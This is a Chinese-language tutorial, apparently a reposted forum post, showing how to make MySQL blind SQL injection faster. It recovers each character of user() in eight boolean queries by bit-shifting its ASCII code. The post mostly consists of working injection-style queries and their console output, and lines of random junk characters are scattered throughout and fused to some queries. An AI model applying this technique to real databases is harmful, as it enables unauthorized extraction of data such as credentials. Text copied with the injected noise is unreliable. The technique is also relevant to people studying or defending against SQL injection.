关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
5 \/ y- b# k* }1 r0 U
/ [1 |, \! [# M# [+ X, A3 Q7 b& T
+ r6 |1 L9 E. _# w
下面将以查询mysql数据库当中user()的第一位为例:

- l, l9 g# S& f6 V# P/ v' o
, T. r' u2 @: P# z7 {- }( T
5 J* K# Q8 O  D" Q. L7 H8 Dps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
1 v: P$ R+ V5 ~. j; t
) V* u5 o" [8 P* R9 o1 x
5 t1 }7 s3 G4 R) X2 n
首先执行如下sql语句:
2 a6 K; B/ m0 D5 x
+ i% N6 c  V& P+ c. n4 }

- i0 p  L. w7 k. z, ?/ o' J  P) p' bmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
( V* B- {! `: X, E; C. q. m
3 w2 R$ Q9 U3 q1 F* ]
8 A/ Q! a5 z3 j6 d# @" ?
& p3 X9 k* }! Y3 B7 z6 F我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的



! g  N/ H. g" c3 U第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
/ j' p3 v" i2 M/ s, b


$ _- O) w$ j; b, q( x" p4 ]如果运算结果为1,说明第一位为0,不为1



2 y; ]( e& ^* T+————————————–+

& ~# X: _  h4 X| (ascii((substr(user(),1,1))) >> 7)=0 |
- T( @% t( Q2 V4 [8 ]! C
+————————————–+

| 1 |

, L5 c% I# J, M/ H7 d/ [1 d0 }. r0 T+————————————–+
# @9 p4 l: K( O' ^
6 @! S3 A5 r5 Y0 c. X1 row in set (0.00 sec)

% }% a* C( A! v7 }, Q& D! h这样我们就确定这个8bit的ascii的第一位为0
! i2 D# Z! V% a
' k7 m0 m3 v( n0 Q3 m) y

第二次我们来做6次右偏移来确定前两位

. ^& l5 |! W# O7 O' g
# N( i' z+ }6 o  k& \) H
前两位可能是01或00,即依然可以与0做比较,

8 N. ]' j# J7 I( v1 j% kmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
" Y8 q! ~0 m/ ^0 v
, U1 B; \! v( z+————————————–+
9 K  l! ?( t9 f: @7 \4 i3 k: l
| (ascii((substr(user(),1,1))) >> 6)=0 |
3 D: a: `: O+ C
+————————————–+

  w8 v4 p' L) f$ D" K| 0 |
, x5 F* Y  |$ X: v: F
+————————————–+
+ }* }3 b& [  m+ y- d% F
& l" N+ q, \3 ?  p' @# d  w9 Z1 row in set (0.00 sec)
1 l3 u5 B  t& U0 g2 h


# y, X$ T; V* m; v0 N结果为0,即第二位为1

" G8 F1 l: N. o; x- k8 ]/ H
- f: N, w, L% B1 C4 q
$ `% w* {' ?1 M9 Y5 h( G9 K开始猜测前三位为010或011
. b( k7 X2 k6 s! Q/ S) n; l
" V: n8 x1 a. e# ]' U" p$ I
! A5 {* K( |( t# i
让我们看看010和011的ascii码是多少
) @! P  `( p5 F' f
. X9 ~! V6 B' h* X, T- p

5 `: f9 u; A) x  t分别查询select b’011′ select b’010′


% |' E! D  G) d" K- U! `. v2 V
获得结果 010 = 2 011 = 3
- E7 J% Y8 I0 b9 V2 E1 X( r/ c


4 S5 O. V! H% Q0 Q执行如下sql:

2 q% j8 O+ K$ E" \4 E  G) }

# n* _5 X' k3 w7 V# ~; n: p7 pmysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+
" w4 h- u& D! _+ j. k
| (ascii((substr(user(),1,1))) >> 5)=2 |

' {- u7 m5 Y" ]2 `1 l+————————————–+
7 O( F& I2 m, x; W/ h8 Z' Z' I
1 f# z. J/ \2 S0 a+ x' ]| 0 |
6 c- l* P" K$ {' D5 M+ l0 }2 ?
7 c  L9 P& W2 ^+ {2 E+————————————–+
7 n# z2 w' |2 x3 @" i1 K2 K4 W' D
即前三位不为010,而是011

0 ?# V- [8 T8 |/ |. u
- N7 B( Z: Y! o# T1 q: }: z6 N$ B
: r6 I1 a- U# f: D2 Y直到获得最后一位

/ @% ]7 @5 v# ^, s

最终结果为:01110010

! D+ O* q; c4 K, t) Q

转换一下:

% V* C! S5 I% [- j* A! Q8 O
% k, F: O, L- D9 x
select b’01110010′
$ k$ J& Z% H& c  L2 |. N


查询结果

+ }5 H' N' m3 E0 e4 V

+————-+
, V9 f5 ]6 ]5 F
/ p7 R  b3 j+ y| b’01110010′ |
# V6 }0 ~# l0 S" ~& `) n& g; |
- K& b1 p! L' V. O+————-+

| r |
' X1 w. D" n, U" Y4 S
$ q. [8 Y/ s9 Z* }2 s* P4 f8 v. {+————-+

1 row in set (0.00 sec)
% y- l+ Z6 z; @0 }0 h& N2 ]
# ^  U  v/ K7 M5 ~7 P) F

; D7 v3 N. M+ {. N2 {- N: X, e这样我们就获得了user()的第一位.其它位依此类推